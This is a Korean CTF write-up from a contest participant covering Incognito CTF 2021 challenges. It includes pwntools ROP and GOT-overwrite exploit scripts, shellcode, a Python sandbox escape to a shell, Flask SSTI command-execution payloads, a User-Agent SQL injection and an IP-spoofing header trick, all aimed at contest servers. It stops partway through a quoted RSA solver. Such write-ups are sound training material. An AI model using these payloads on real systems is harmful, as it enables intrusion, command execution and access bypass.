2021 Incognito CTF Writeup

2021-08-29

22 minute read

Writeup

Incognito(보안을 전공하는 대학생들의 전국 연합 컨퍼런스라고 한다..)에서 3등했다. 상품으로는 외장 SSD를 줬다. (팔았다..!)
대회는 개인전으로 진행되었고, 조금 늦게 시작했는데 무사히 수상권에 들 수 있었다. 1,2,3등 푼 문제 개수가 똑같았는데 미세한 차이로,, 3등이 됐다.
문제 퀄은 솔직히 괜찮은 것도 있었고 너무 Guessable한 문제도 존재했다. 그래도 고등학교 졸업하고 간만에 개인전 해킹대회에서 수상할 수 있어서 좋았다. 굿굿!

등수 : 3 (외장 SSD)
닉네임 : realsung

Sanity

Sanity Check

Welcome to Incognito CTF 2021!
flag is in this discord channel
https://discord.gg/pqDqwwyg

공지 고정 메시지에 플래그가 있음

flag : INCO{Inc0gntio운영팀화이팅!}

Misc

EZ_steganography

고양이가 플래그를 깔고 누워버렸다는데...
고양이가 한 마리가 아니네?

.jpg 파일이 주어지는데 strings를 통해 바이너리내에 플래그 문자열이 있음을 확인했습니다.

$ strings EZ_steganography_.jpg | grep INCO{
INCO{457a5f53746567}

flag : INCO{457a5f53746567}

hex carving

고양이가 실수로 캡슐을 먹어버렸다...
그 안에 중요한 정보가 있는데 어떻게 찾아내지?

binwalk -e hex_carving.jpeg 를 이용해 ezgif-4-cadbb36744dc.gif 라는 파일이 있음을 확인했고 각각의 프레임을 확인해보면 hex값임을 짐작했고 ascii로 바꿔주었다.

>>> bytes.fromhex('494e434f7b335a5f43347276696e677d')
b'INCO{3Z_C4rving}'

flag : INCO{3Z_C4rving}

Deconstructionism

주어진 file.txt를 확인하면 x, y, r, g, b임을 짐작했고 Python Image 모듈을 이용해 각각의 x,y좌표에 rgb 색상을 넣어주었다.
그런데 조금 거꾸로 나와서 y, x 좌표를 넣었더니 이쁘게 잘 뽑혔다.

 1import ast
 2from PIL import Image, ImageDraw
 3
 4image = Image.new("RGB", (522, 38), "white")
 5im = image.load()
 6(width, height) = image.size
 7
 8with open('file.txt','r') as f:
 9	for i in range(19836): # 19836
10		# y x r g b
11		tup = ast.literal_eval(f.readline())
12		print(tup)
13		im[tup[1],tup[0]] = (tup[2],tup[3],tup[4])
14
15image.save('deconstructionism.png')

flag : INCO{Y0U_4RE_M4$TER_0F_C0D1nG}

Binomial

I tried to decrypt the secret message but, I don't know key.
The information I've got is this numbers and this algorithm.

 1import math
 2from Crypto.Util.number import inverse
 3
 4# RSA Data
 5
 6n = 702806340521506617228738088149675776508513298178948395659141381292396277564183386793148696726252030247049271911683309841734047694075415115318244508691980419634336501090854569674179153888414001095295759305409217999881655193413643747350719031206389646068603834319574658362492699721698087583054265498028209591022781017990478405230826555236195067741691550724608130338635981207812195692530188413824373084516314683835845071395261639397807928955020549878249088021888578437864579283992545295854783527091698320204021437420270333771197126676424687497147193847968236139943713485992231804366301001861264293932966197448354107329493404802990914798941292068613683381330254611926528150963904439403641969965410271628142303194424290532294652160771281083435911970037362461591304851011232925914289372231123851882298621727016951821672336080865682023093712535412940978277920785551235656056853591115526680545657260961805120039575474379783804293047069534853047556119529972561251235513250036105963983491337950555133506092002907312349601659805397653731835519921712932256251499667085156125183398319805589297545803456349883951300501369408000837998511716579478217367279127757335155708113132431993969673883235463205235262873758038510369930316791260958370551361777
 7# e = 65537
 8# c = 350737073191287706245279077094231979383427790754965854345553308198026655242414098616160740809345373227967386631019166444200059217617767145638212921332649998355366471855362243913815961350928202877514312334160636449875324797999398782867956099814177529874805245928396620574131989901122269013123245826472838285
 9
10# Puzzle Data
11
12e1 = 178215518583488137161082119408549459565691328811015816177647753059378176875004567749043212872086518865983634119225477390094360168209896207626520875634347873154812528591547291545515831252910717516594267764893743534776214207778113336090186019751686294370540983883134049743044197394614138403424024099483569715523
13e2 = 118252858654980781957753683307168135974019966886232501899585868816953143962301433183484249166963450137626196802321474104405670979189576839208679136586433338558790235572598815023044186298204671676500303333983317643704802434250696465863779818324736999470099486810942072697422525368914256966732881029185096200186
14c1 = 50542167618027424301472456654722571259432960481158486142891311169879155560886928696589135367822459590679395053496215585866235272970125624814827312373361502873233321041160010494926049584492979977878412066528381576918122253106568705631107791783350483038276108020070037282672274020626580557568527612594660678772557783847137443571497550127429472295776020560778304383677576062657895888156927690562598334822919801066993733712008233440552645655702522467761195092511528374754444016700041310476160777867411557079276229542312436390698720270257676564164236485989175965979191816108137237148691335668523357484780057746823915725366646988480711701061695456031763441068633814919662748773253379731299419496731640498316446788367615823040832177185356427715516253655732220386096358579191500454278372215501035298371335287463292052682637425523791986321710574597761277535630113150254933795753229033651743620987493776632053420526890167421046136319954773983357487467400044661251279853170012135984644939954928257579649427532586094137036025225141085190794055928555778707418748313753866359018933283922370404041760218950242283547410499950705857317345636307063468917654507030516580710177640758714778013703053556223042157001428559357777873867170052026501777650495
15c2 = 445881802627526831906772826700126968231990262407357661436583482108942643486065939165105304330493556988272150442181558637006263781421466737960284119905294452155694445644709562146570490165921656435745119705295346919539409394964611225722370873033215583978516643574907538810309698886772255038499315825551247093283303270867524240911813958330055677122296959894348811061155211689045501148891315488797677694090125330461154042695458683000632665232583134004306568918877309450754446924694699514200133612459859613426052981057392142383453303758316438204025052642578842817973467129885212114491503896221991520555133232684856589684315912665553855682248911366221142719311169914801042804599981835929791611990363648281252778379152237662118037026364705731092140319365997860994390232092529900255934717239836541586413057068604332545317356813244916073263728964970919947244959383141509660885095536862233529003514661057759836960415664686299665564227596162744815463882249977194305390054849651383942821640113196129347854970042898693168816745719397484516757704467958960472775333453488799805964925342821638906122522952476381367482584529516253821896486869318990947947723698686829722779294854178181041232282929259557802895273537016369882907391308807155903964966491
16
17#Solve for p,q
18
19q = math.gcd(n, pow(c1, e2, n)*pow(17,e1*e2,n) - pow(c2, e1, n)*pow(11,e1*e2,n))
20p = n // q
21
22print(p)
23print(q)
24
25from Crypto.Cipher import AES
26from Crypto.Util.Padding import pad
27from Crypto.Util.number import getStrongPrime
28import random
29from hashlib import sha256
30import binascii
31
32def encryption(key, IV, pt):
33    key = sha256(bytes.fromhex(hex(key)[2:])).digest()
34    IV = bytes.fromhex(hex(IV)[2:])[:16]
35
36    cipher = AES.new(key, AES.MODE_CBC, iv=IV)
37    return cipher.decrypt(pt)
38
39print(encryption(p, q, binascii.unhexlify('c4d6c055c5cd445100f78bed7bf442bd5fb4636fd0021076b4a32e7846e0ad868a3305cf8e6a64b7afc8c16875f3d4eda18a06b441570ea6a427f3cc1f2be851')))

flag : INCO{S1mpl3_B1n0mial_3v3ry0n3s_l1k3_numb3r_th30ry}

Pwnable

Calculator

pyjail

┏━━━┓╋╋╋╋╋╋╋╋╋┏┓╋╋┏━┓╋╋╋╋ ┏━━━┓╋╋╋╋╋┏┓╋╋╋╋╋╋┏┓
┃┏━┓┃╋╋╋╋╋╋╋╋┏┛┗┓╋┃┏┛╋╋╋╋ ┃┏━━┛╋╋╋╋╋┃┃╋╋╋╋╋┏┛┗┓
┃┗━━┳━━┳┳━━┳━╋┓┏╋┳┛┗┳┳━━┓ ┃┗━━┳┓┏┳━━┫┃┏┓┏┳━┻┓┏╋━━┳━┓
┗━━┓┃┏━╋┫┃━┫┏┓┫┃┣╋┓┏╋┫┏━┛ ┃┏━━┫┗┛┃┏┓┃┃┃┃┃┃┏┓┃┃┃┏┓┃┏┛
┃┗━┛┃┗━┫┃┃━┫┃┃┃┗┫┃┃┃┃┃┗━┓ ┃┗━━╋┓┏┫┏┓┃┗┫┗┛┃┏┓┃┗┫┗┛┃┃
┗━━━┻━━┻┻━━┻┛┗┻━┻┛┗┛┗┻━━┛ ┗━━━┛┗┛┗┛┗┻━┻━━┻┛┗┻━┻━━┻┛


Welcome to Scientific Evalulator!
Very, very Scientific!


You can use all the functions in math library...almost!
func you can use : sin, cos, tan, pow, cosh, sinh, tanh, sqrt, pi, rad
For example : 1 + 1, 3 * 10, sin(30), sqrt(4)
write 'quit' to end the session.
HAVE FUN!

Input : __builtins__.__dict__['__import__']('os').__dict__['sys'+'tem']('/bin/sh')
$ id
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)
$ cat f???
INCO{U_G0T_$oM3_pY7h0n_$k1llz}

flag : INCO{U_G0T_$oM3_pY7h0n_$k1llz}

test

ROP

 1from pwn import *
 2
 3e = ELF('./test')
 4# p = process('./test')
 5p = remote('3.37.81.93',10005)
 6# libc = e.libc
 7libc = ELF('./libc6_2.23-0ubuntu11.3_amd64.so')
 8
 9p.sendlineafter(':','realsung')
10p.sendlineafter('=',str(516 ^ 0x338))
11p.sendlineafter('=',str(1009 ^ 0x338))
12p.sendlineafter('=',str(669 ^ 0x338))
13p.sendlineafter('=',str(2*8))
14p.sendlineafter('=',str(3*8))
15
16pay = 'A'*0x100 + 'B'*8 + p64(0x0000000000400a73) + p64(e.got['puts']) + p64(e.plt['puts']) + p64(e.symbols['main'])
17p.sendafter('What are you going to do after graduation?^^',pay)
18libc_base = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00') - libc.symbols['puts']
19
20p.sendlineafter(':','asd')
21p.sendlineafter('=',str(516 ^ 0x338))
22p.sendlineafter('=',str(1009 ^ 0x338))
23p.sendlineafter('=',str(669 ^ 0x338))
24p.sendlineafter('=',str(2*8))
25p.sendlineafter('=',str(3*8))
26pay = 'A'*0x100 + 'B'*8 + p64(0x0000000000400a73) + p64(libc_base + libc.search('/bin/sh').next()) + p64(libc_base + libc.symbols['system'])
27p.sendafter('What are you going to do after graduation?^^',pay)
28
29p.interactive()

flag : INCO{E2zy_2ncr7pt10n_082421}

DICE

Integer Issue

$ nc 3.37.81.93 12357

[1] Play
[2] Status
[3] Store
[4] Exit
>> 1

money: 100$
Betting
>> -1677721699

=======================
Player : 5
Dealer : 6
=======================
looooose  --1677721699$

Play again? (yes/no)
>> no

[1] Play
[2] Status
[3] Store
[4] Exit
>> 2

=======================
money: 1677721799$
ticket: 8
win: 0
lose: 1
draw: 0
recent 8 gmaes:
l
=======================


[1] Play
[2] Status
[3] Store
[4] Exit
>> 3

=======================
1.ticket - 100$
2.fortune cookie - 100$
3.flag - 500$
=======================
>> 777
Goooooooood!!
INCO{D!cE_tO_F0rmAt_StrinG}

flag : INCO{D!cE_tO_F0rmAt_StrinG}

verysimple

Variable Overwrite

 1from pwn import *
 2
 3e = ELF('./chall')
 4# p = process('./chall')
 5p = remote('3.37.81.93',55533)
 6
 7pay = '/bin/sh\x00' + p64(e.got['puts']) * 8
 8p.sendafter('echo input name :',pay)
 9p.send(p64(e.plt['system']))
10
11p.interactive()

flag : INCO{buf-verysimple}

webkit

ssh 접속하여 푸는 문제입니다.
ssh webkit@3.37.81.93 -p 20205
계정 정보 : webkit/webkit

Webkit 1day POC

인텐 풀이는 Webkit 1day Full Chain Exploit 인거 같은데 언인텐으로 JavaScriptCore 쉘에서 flag를 읽을 수 있었다. jsc 내부에는 파일 시스템에서 읽을 수 있는 디버그 기능이 존재한다. 이중 파일을 읽을 수 있는 Command를 이용해서 풀면된다.

https://github.com/WebKit/webkit/blob/master/Source/JavaScriptCore/jsc.cpp#L517

$ ssh webkit@3.37.81.93 -p 20205

webkit@4a3a0187d3a3:~$ ls -al
total 2196
drwxr-x--- 2 root       webkit    4096 Aug 25 12:48 .
drwxr-xr-x 1 root       root      4096 Jul 31 16:56 ..
-rw-r--r-- 1 webkit     webkit     220 Jul 31 16:56 .bash_logout
-rw-r--r-- 1 webkit     webkit    3771 Jul 31 16:56 .bashrc
-rw-r--r-- 1 webkit     webkit     807 Jul 31 16:56 .profile
-r--r----- 1 webkit_pwn root        41 Jul 31 17:05 flag
-rw-r--r-- 1 root       root       188 Aug 25 12:48 hint
-r-sr-x--- 1 webkit_pwn webkit 2218921 Jul 31 17:06 jsc
webkit@4a3a0187d3a3:~$ cat hint
https://bugs.chromium.org/p/project-zero/issues/detail?id=1652

Please make your own directory in /tmp, and write your own exploit code.
Please do not ruin others' code in /tmp directory.

webkit@4a3a0187d3a3:~$ ./jsc
>>> readFile('flag')
INCO{1t_15_ju5t_4_sn34k_p34k_0f_J5(_pwn}

flag : INCO{1t_15_ju5t_4_sn34k_p34k_0f_J5(_pwn}

find me

바이너리는 prctl를 통해 호출되는 syscall을 제한하고 있다.

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0006
 0005: 0x06 0x00 0x00 0x00000000  return KILL
 0006: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0008
 0007: 0x06 0x00 0x00 0x00000000  return KILL
 0008: 0x15 0x00 0x01 0x00000101  if (A != openat) goto 0010
 0009: 0x06 0x00 0x00 0x00000000  return KILL
 0010: 0x15 0x00 0x01 0x00000065  if (A != ptrace) goto 0012
 0011: 0x06 0x00 0x00 0x00000000  return KILL
 0012: 0x06 0x00 0x00 0x7fff0000  return ALLOW

_init_array 영역에는 prctl해주는 함수와 랜덤 주소에 flag를 써주는 함수가 존재한다.
주요함수(sub_1188)를 확인해보면 다음과 같다.
/dev/urandom의 값과 0xFFFFFFF000LL을 AND연산해준 주소에 mmap을 통해 공간을 할당하고 플래그를 써준다.

 1unsigned __int64 __usercall sub_1188@<rax>(__int64 a1@<rbp>)
 2{
 3  unsigned int v1; // ST14_4
 4  unsigned int v2; // ST14_4
 5  __int64 v4; // [rsp-20h] [rbp-28h]
 6  __int64 v5; // [rsp-18h] [rbp-20h]
 7  unsigned __int64 v6; // [rsp-10h] [rbp-18h]
 8  __int64 v7; // [rsp-8h] [rbp-10h]
 9
10  v7 = a1;
11  v6 = __readfsqword(0x28u);
12  v4 = 0LL;
13  v1 = syscall(2LL, "/dev/urandom", 0LL);       // open
14  syscall(0LL, v1, &v4, 8LL);                   // read
15  syscall(3LL, v1);                             // close
16  v5 = syscall(9LL, v4 & 0xFFFFFFF000LL, 4096LL, 3LL, 50LL, 0xFFFFFFFFLL, 0LL);// mmap
17  v2 = syscall(2LL, "/home/find_me/flag", 0LL); // open
18  syscall(0LL, v2, v5, 4096LL);                 // read
19  syscall(3LL, v2);                             // close
20  return __readfsqword(0x28u) ^ v6;
21}

main함수를 확인해보면 mmap으로 랜덤 주소를 할당 받고 rwx로 실행권한까지 있음을 확인했고, 해당 주소에 쉘코드를 삽입하면 실행해주는 것을 확인할 수 있다.

1__int64 __fastcall main(int a1, char **a2, char **a3)
2{
3  void (*v3)(void); // ST18_8
4
5  v3 = syscall(9LL, 0LL, 4096LL, 7LL, 34LL, 0xFFFFFFFFLL, 0LL);// mmap
6  syscall(0LL, 0LL, v3, 4096LL);                // read
7  v3();                                         // execute function ptr
8  return 0LL;
9}

풀이 방법은 간단하다. 할당되었을 주소를 0x1000씩 늘려가며 BruteForcing해 출력해주면 된다.
본인은 터미널을 8개 켜서 브포했다.
인텐 풀이는 mprotect를 이용해서 메모리 공간이 할당되어있는지 아닌지 확인하고 읽어오는 방법이였다.

 1from pwn import *
 2
 3context(arch='amd64', os='linux')
 4context.log_level = 'debug'
 5e = ELF('./find_me')
 6# p = process(e.path)
 7p = remote('3.37.81.93',30000)
 8
 9sc = asm('''
10mov rbx, 0xa000000000
11loop:
12	mov rax, 1
13	mov rdi, 1
14	mov rsi, rbx
15	mov rdx, 0x1000
16	syscall ; write(1,%rbx,0x1000)
17	add rbx, 0x1000
18	jmp loop
19''')
20
21p.send(sc)
22
23p.interactive()

flag : INCO{OMG_y0u_f0uNd_me_Zz1o1}

Reversing

Leap

디컴파일을 통해 확인해보면 libnative-lib.so를 불러오는 것을 확인할 수 있다.
APK의 라이브러리를 추출해서 해당하는 함수를 확인해보면 stringFromJNI 함수가 존재한다.

 1unsigned __int64 __fastcall Java_com_example_leap_MainActivity_stringFromJNI(_JNIEnv *a1)
 2{
 3  const char *v1; // rsi
 4  unsigned __int64 result; // rax
 5  __int64 v3; // [rsp+8h] [rbp-58h]
 6  char v4; // [rsp+40h] [rbp-20h]
 7  unsigned __int64 v5; // [rsp+58h] [rbp-8h]
 8
 9  v5 = __readfsqword(0x28u);
10  std::__ndk1::basic_string<char,std::__ndk1::char_traits<char>,std::__ndk1::allocator<char>>::basic_string<decltype(nullptr)>(
11    &v4,
12    "6c30304b202062334630723320593055206c335e70");
13  v1 = (const char *)sub_F270(&v4);
14  v3 = _JNIEnv::NewStringUTF(a1, v1);
15  std::__ndk1::basic_string<char,std::__ndk1::char_traits<char>,std::__ndk1::allocator<char>>::~basic_string(&v4, v1);
16  result = __readfsqword(0x28u);
17  if ( result == v5 )
18    result = v3;
19  return result;
20}

해당 함수에 노출되어있는 hex값을 bytes로 바꿨다.

1>>> bytes.fromhex('6c30304b202062334630723320593055206c335e70')
2b'l00K  b3F0r3 Y0U l3^p'

flag : INCO{l00K b3F0r3 Y0U l3^p}

Web

Do you know Hashes

PHP Magic Hash
https://github.com/spaze/hashes

 1<?php
 2   $keys = [
 3      NULL,
 4      "MAUXXQC",
 5      "do+d4JXvGqvL",
 6      "gH0nAdHk"
 7   ];
 8
 9   if(hash('md5', $keys[1]) == hash('crc32', $keys[2])){
10      if(hash('crc32', $keys[2]) == hash('md4', $keys[3])){
11         if(hash('md5', $keys[1]) == hash('md4', $keys[3])){
12            echo "<script>alert('[Verified Success]\\nCongrats! {flag}');</script>";
13         }else fail();
14      }else fail();
15   }else fail();
16
17   function fail() {
18     echo "<script>alert('Failed to verify!');</script>";
19   }
20?>

flag : INCO{L0L_YoU_H1t_Ha5hes_50_MuCH!!}

Rotten Onion

SSTI(Server Side Templete Injectin) + Forensic(?………………..?);;

http://3.37.81.93:20831/?search={{config.__class__.__init__.__globals__['os'].popen('ls+-al').read()}}

http://3.37.81.93:20831/?search={{config.__class__.__init__.__globals__['os'].popen('cat+onion.txt').read()}} 페이로드로 onion.txt를 확인해보면 PPT를 볼 수 있다. 해당 PPT를 다운받아준다.

Road to PPT jomman the hime-eul nae-bow ~~! gu-eu DA Wat Saw~!~!~! https://drive.google.com/uc?export=download&id=1ptBFgPo2LFzrGnjPu5xI16r9FlQ6cwxZ

binwalk onion.pptx -e 로 파일들을 추출하였다. 그러면 ppt/media 경로에 Image5.png 의 CRC 가 깨져있는 것을 확인할 수 있다. 그래서 맥북에서 윈도우로 파일을 옮기고 Hex Editor로 PNG의 Height 값을 수정하면 플래그가 나온다.

$ pngcheck -vtp7f image5.png
File: image5.png (417698 bytes)
  chunk IHDR at offset 0x0000c, length 13
    617 x 776 image, 32-bit RGB+alpha, non-interlaced
  CRC error in chunk IHDR (computed 93ae7299, expected 52734bba)
  chunk IDAT at offset 0x00025, length 8192
    zlib: deflated, 32K window, superfast compression

flag : INCO{!dONt_EAT_rOttEn_oNIonS!!}

해킹 멈춰! 2.0

제 서버가 해커에게 공격당했어요 ㅠㅠ
내일 중요한 서류를 보내야 하는데 ...
제 IP를 데이터베이스에 등록해 뒀었는데 제가 못들어가고 있어요 ㅠㅠ..
제 관리자 비밀번호는 djenadls~? 이였어요.
bot check가 동작이 좀 바뀐 것 같아요 ...
http://3.37.81.93:21121/
23회 해킹캠프 CTF에 출제된 문제를 재구성한 문제입니다.
[Hint 1] 브라우저 User-Agent가 생각보다 기네요?
--> bold 처리된 부분이 중점입니다.
[Hint 2] CRT 모니터 시절에는 위치 옮기는 것도 힘들었죠
[Hint 3] DBMS마다 쿼리가 조금씩 다르게 처리되네요?
[Hint 4] Hint 1에 해당하는 필터가 가장 상단에 동작한다는 점을 bot check 우회시 고려하시길 바랍니다.
[Hint 5] rsa api에서 p 파라미터는 plain text를 의미합니다.
[Last Hint] rsa 부분은 FireShell CTF 2019에 출제된 문제의 아이디어를 재구성했습니다.

살짝 문제를 위한 문제인 느낌이였다… 소스코드라도 제공해주면 좋았을 것 같다.
User Agent에서 SQLI가 발생한다. SQLI를 통해서 확인해보니 UA가 360Spider여야 했음을 확인할 수 있다.

새로고침을 하게되면 Admin페이지로 Login할 수 있는 창이 뜨게 된다. 주어진 djenadls~? 로 로그인을 하게되면 Inaccessible IP라고 Alert가 뜬다.

UA에 1" union/*!*/select ip from white_list-- SQLI를 이용해서 허용된 IP를 가져올 수 있다.

XFF Header를 이용해서 서버에서 내 아이피를 127.0.0.1로 인식하게 Request를 보내면 된다.

 1<html>
 2    <head>
 3        <meta charset="UTF-8">
 4        <title>KK Ransom Encrypted</title>
 5        <link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css'>
 6    </head>
 7    <body>
 8        <!-- TODO: 테스트 용도이므로 RSA Api 배포할 때 꼭 지울 것 !!! -->
 9        <!-- RSA Key exchange check : /api/rsa_check?p=key -->
10	<!-- RSA Encrypted key : https://gist.githubusercontent.com/l0vey0u/07fbf731bdfb4daf73fd2207b044eb8d/raw/cac971cbf0efc9eb5d6db71fbe78528c10f10977/encrypted_key -->
11        <h1>If You earn decrypt key? I'll decrypt it !</h1>
12        <form action="/" method="post" class="form-group">
13          Key : <input type="text" name="key"><br>
14          <button type="submit" class="btn btn-primary"> Decrypt </button>
15      </form>
16        Do you wanna decrypt? send me a money : )
17    </body>
18</html>

Sage로 주어진 N, C, E를 통해 중국인의 나머지 정리 CRT를 이용해서 풀면된다.

 1#!/usr/bin/env sage
 2# -*- coding: utf-8 -*-
 3# Towel 2019
 4
 5"""
 6Solution to 'Biggars' challenge from FireShell CTF 2019.
 7A multi-prime RSA computation with large N requiring CRT
 8to compute d rather than normal fast-power algorithm.
 9"""
10
11from binascii import unhexlify
12from operator import mul
13
14# Values from the challenge
15N = 63907412557037160127395840242921841683933922030496908844391706684630964067068846804813151187767932030614844259089967506647885744277015225100374453241238581071944506668884165210928396745051003214274336414716320828679865220765124387177438572267467923501099552826172389499715608426333517117964257470492976791458505506568857020233079606959577343707523882319281856212601827813127964210823232747992539171334632011310538555483090434251841007471086073416752448163878027570063772312103629121312320631252325506115726774931572135514058085030984988721887584425920201479602924497765203216650002230999884885650684405894278815574638087174275093639636409086066007658409729566422163605661371984519429674596358253429974310840917616621281443386489946177584200899244143862265991330689548864996844454103132229222455492711975237427111423341308759689163615880811710266468789828930640525307252948296074739575618353642768550179074134979396323639550739673044447877271783682541016731104204389048218222845662336213598026274054860676264281735894822606030987372669854000850201324877071261528306211493122388358240427253143895549660283747801895799810195305635645586656450096937136280025761891457894592687347787124293034323433773562256994355800743368346269045809786511348956349632245399457880573907645788824184837813611354382989952567094367561731456580249879546730742188273606359888223077736331802464184782875918869673400786118255122796942208976195392999186574828195978028843480155320513927041168985247701375599415574986217824766330285048163023479382726500355440706177341286120649616059424887961854526129495790495585530795559335180159713565570840746875922795806590128292233417116290031704882634809694630276847140889951942412424123799544393791117330013821400146391912721553292599099712697688964559536529287017034877828903780642013511901571750412297261479227088986999339790292727238433961377042610640612125044711825267213033168370379579661502111391613533104241850518592034070405584605069009709151390447219013890951544982630104290911544240625583088383069287305679928215173621145694167592465387564629575165181122323075849041563272719444950507185198688481934391227384549700810994944769712763838193997990076239016364106857208544566813777883696500023742681773238742485998520609033037682685951325177028374805551505677535035529044896469938514748524404425685019225195803267885161248868629628654432626280248016940362919597273345556226211052203726950473392017709094372245599737451199445094037892218759332721073741920176970390840818971689003596476115786858665786102079500796473741190846794134053352602584866533828301998873416000558666050721182671366599532149553558535380395918298505839265925219348250014765809879447063965360082105024008179560633236631745966364033089187664568108502045877423136523673564354654838282475560138180771128772655307188705996675952906215744349166448830313023789118124705253535689690815945354614897994334751533002249032722986458779467983650287184256939263893620749231573058838570614489522726990686484882332860344690305824617725107593317632269306643154033328414586718827788691068381393720861210544142053051798117965693665172458147009915590996438172109310585111033930146120380833422318522123508561324981179006040782896129237825118481228065411429741943848713059506183176412896545922224714643439901473423849727531213995945966079856734104715894732037041323463267425096492086477118355859013493757366495719975743886202186610062375543261744545091534156765848934889543078081386059622911305367230276330719862643493237216399029732515338013161821188301168876777725801030284378620693541370454405044969524431059942024695457988791940679379558993277572991491459911248675061376152767392261271221955065885823884279784607052892511372766021933974110644029987211580184876333155386598982001210607255645127868103980851832171328260788808667318508678935459012636411852599445387498846074270363968893045251645471927317764453398461863427875305440007526531886761326023115598482367466552031670067676752132672770714021287474470398209878660745041194730529245031191412915773745185892330299402220962376503145188845662721146370161107491826603830876374102796109737636668978324817690232179805363924656997031659149173539753823412498833406952311452538081754213348526359964035207392260647227098520767467419759216280866013389942777106987530456547745460349425628295181887846205950918977272540579168525507601018552523373293387020713843412629195796163814625511586658711351137202141106281482683952116160704111116960950130469862905561037463175830118459029471636429838879134808546882157248381156282594921516514257783322352993756406404064371561856742339662437992063877783894893433446872808858481331393966365735397322125830424939556242415028526052794220259095108028550884166757363896542062062139813880552729185992233944388180583886082460588163290812078756182602413126383339308783018819470425133750082768977406206181755500702370997252596205436128254704454515310782837783520356148176649645068981926520246145375355379839008807011241569227005381127466648557054808131819696827818119349118331867903639073312036727432789400666361251025342809505320082611924212127561960975932140484776851208624467544472070154611379257491270626806752805323823014316206904434863971050660881617362062139846899828894231666371960451674403624873823817244695038630349630818469322299538081897980256149648244472769668241426584042287183069186936023544961791173441079491226091791776723622348288458482020001128435116398963469729185820569917764858103597073234993242188584469152179482832984282982567682606236476442105067965848531876132951825065347172200445116672974416973040018034658323599914695105713565543212124098198508032741591268159918213931388163990154197997629227148972872794571187964057843212717161328741957623447720601061408881373104973701449705684341878821233602896365059959643400127553219883479202886104050083681892336050211373414127546567086187313607599756592882312719139953535999642689922835073161112729421418869362908078602243108697819401948655248301620877805829702627073073757006636702369724108105553753497166294432757844498081934611844585165934171930091265716693406160771345674221444229301412907103111976489435687341830352717926845008496951213104607078292554096818203250499779503261446630142568237152467799489098825559638312124504959048831086460301730676722117373594098875977565103698636736255647780136305173780186580915605454055238558439709719866808597488210038242810643227753478712679352628264614319037106228646259581187170332699525267651759485878250842758729552213737621167813305799312581150509022500991599856923382658185586984603484641671348890247756582999764529775072704730131671515011356849406676986240680553434225752724914160195256578664215136763895616544411346445528876848125007064435631945479993557603365110617797608192689934732721680995021963618455970261784675083836444417990219393978234587750110049307425389152456987602296446908213280965887889078122632108056585571669799069485328806395497388067261630243992997481155334958779465246950243908737644190117496528273662499169019972396152575636143201334651704980952230269815093474230503008443357160130079438216553150675159429544923608852200428050525692345569573876975388108824565026750800490885034573949870172154057639063985898480658726220787493198797171202962884786202417715679160600759177643456589909175996261961899174257420529425870222653273689721023397730297873263830632612954119644100709724882721646039013877160058622352977196493711163593874777892604717356391712720743798197981936972004986039702469344837400110488691455423544960180368749018091471496357761838605277135886024740180168758892328416300242159861746163903119318428070257568490046057640875204625877359851763929650052338064942486831684161550568139615125750768783111238032070148970878149838381526586495756587018827197122727387871966767557838328044713226706038028715982480276827842107762723278310308929107217441730831468579856570488122735323933984694878033092634946350972815883990976778730304753946136292459696098549323103325004936907360152682409548616903818704370140422769533902518749054624943622761657783505545052553794444075359176886815210348333893559650738509556312026896160691131761117823820693296235521375524476354268460311901944709110238765369640516345318937688682115564033766197762174081156850069436183852053550241551973645679069467838036310954111408878743780568085754620458194978436597410501548241753840828082972702150112006979617365109997296039955178807285908312814931002793924262756632908103900824064621017828542391565837012947114676959655366398766808635343170584303932497486984752931245137971909156417905467171562630340843623702354407894445819235095158127688063880246937117664153104815778440709484194710720793099386050554713509822362284666911843710901587783865402604029641049303968441003909402134201545108259594070950747009788167071768727336183464492969809055713229813324534351733848945668931983415892200863259732757914889157663464326648303433367806526128857248219437798022000173412104235926318172205810096416874195807991826196377331890864423726910367695743465697542364225368789473167558793715667409014433022775287507285167166855311195086428482608215292173852853063149110604022337304637360609679960223685467868823014851265579065869722724505944490069472345907027171077867720744041543158163133118028095642479473956197929350257769808828518982603301047798728694912640622439784224655195330583885470795446522393209027501178436540040772764682882267016587686547818666113666863263862057740777865761602721390990530576225934014888196725811141066684266679533811623452375424355773792974380303193634968985485006449455823089562771746401572077276714414817800238897901890887491775988874973857279667992509764399776810012723805016032700646393905616945987736755351425517159891995349033347715740517702448417274603034864126755071944435323838613777822386904749157771452899164598613255961307668554726177359219751097950421505227525054535179774412830001687491129509317040485834350251283958982274957451681600399743041881471161120512355969854840205160608999125211121879510187107958356071783126856227613286989140614470657443454976881618929388099415601924151258148459600878596405188624980779485664067742110978128884780920726509341006254887415925043319585075163647871038658222970756814032046373754461106702893382573197255946893440093624742550776641587819908618965363045570488679936738003084518176375941986961407429724645710410887623699437593256695167379627671372728942077145128613146308058865887195148056676233962438637133411190444052474445052188787277401103551994931682377300067214365420945957242574368051806478485254958308480851120417466128920909345476955257694280866790878202920592035161125682411725785445803668962434407263606790716560520641367401828765738832564754758709429693907649450238487908715451658949102702410010659541042597564330875077993558523535392446643589025600014689833430804289499742195552254657850108779346952686174559033662620119844319588642908381830069311734639121844352564255804188440490814802151349999622058753458648930164274215701540721069284765096530912218908164260398555852367844815837823471785059048837271290506697746033322600004949850860146762799693723925976521739076412544393055948165429385100447947636909808576300017459282174958946022950144900784431407482768438260823703207316740879599038960623468158959169342384983220927961913340055198498005806312476206193601982736459102649113035497711844439247718005727554512704608063555029222474812804834235201507303277762559913204150887026421326521587561639021221118333232889781831765572259432662559545217399780463121129600523353074166850790413960872155074403760937368348696303946954723566244824742724868865988783464051310040389092357373933872054863287636449585271788924288068059697866829900169258082227944989171047858778317080905476062009174743348403397228346358875059063118454872929190087777360107258395598142892573169283367038426450156525112570780303176769438162647492666557868685742401568202528551845444283490153663882988615547171356504736537171369202608759230043226852501495619473865759830212114268672839226141896850381191775653887389045007713316227584247792282207123414675912614069097039784472029222997616821553923296436443670841156241259193169986169763371097497461338011360498804521922608758644